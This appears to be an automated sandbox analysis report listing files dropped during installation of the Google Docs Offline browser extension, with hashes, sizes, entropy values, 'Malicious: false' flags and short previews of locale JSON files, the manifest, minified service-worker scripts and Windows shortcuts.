SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:08:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.986688378200325
Encrypted:	false
SSDEEP:	48:84w0dqWTKy37HHidAKZdA1oehwiZUklqehqy+3:8lALc9y
MD5:	A2BFFAB7BFA20C334482E7EFC4CBA149
SHA1:	80055F0603D27505C32B7B7EE24F8EFD595BBE16
SHA-256:	F0F969D0AF0BF66E481172933061426F49AE3A711E610CA97BBD10454D6D9998
SHA-512:	32C149B4A5AD8547797A92F5454AA1EECB8035B3C7870F33A36ADC24F7BA320370C69DEE79562EF97A428905F2B20968E985D23A51D227DC749E3A38A6B5E32D
Malicious:	false
Preview:	L..................F.@.. ...$+.,....Z..Z?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY.Y....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.Y....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.Y....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.Y..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.Y...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:08:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002176167198507
Encrypted:	false
SSDEEP:	48:8Xw0dqWTKy37HHidAKZdA1leh/iZUkAQkqehty+2:8AALO9QAy
MD5:	B4D8836D36BF8DFFA6AEC19FC89F4368
SHA1:	DFF30DA4BC0F1C0EDE5F25771C0ACD00BC5F1194
SHA-256:	62090DB74679D9D823213C14DA11BC33045E82CE20B3303E1920FFCF8C68D4DA
SHA-512:	AA143AE0626D669964CEE633563A1D0E503567729242CCF55A93640275F124854155B218CB7D2CBF4A4194522E84EDFE2A5E9F5D085FBF77314ACE4B409FED6F
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....B.Z?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY.Y....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.Y....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.Y....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.Y..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.Y...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.010904906544755
Encrypted:	false
SSDEEP:	48:8pw0dqWTKy3bHHidAKZdA14t5eh7sFiZUkmgqeh7s7y+BX:8OALGnBy
MD5:	5CD768EBA0D05C3F16D201E0EDF340DC
SHA1:	A8D6CEEED7B1806BEDF1D8EA837FAD3E9490AE58
SHA-256:	86C9A7EAD1F49E7D71CCAB988BE88847EF6C15C6045EFCD45035A1494D9B1DCE
SHA-512:	DD5C1FC41F527AB7F14A9A591A94B35652A5B3A37DE2F7BE259B3A573319EC3D8B2818F2E0BB999A9D23AB5B9D974822799CB92723AF8D61D8B96CDBCB9E03EA
Malicious:	false
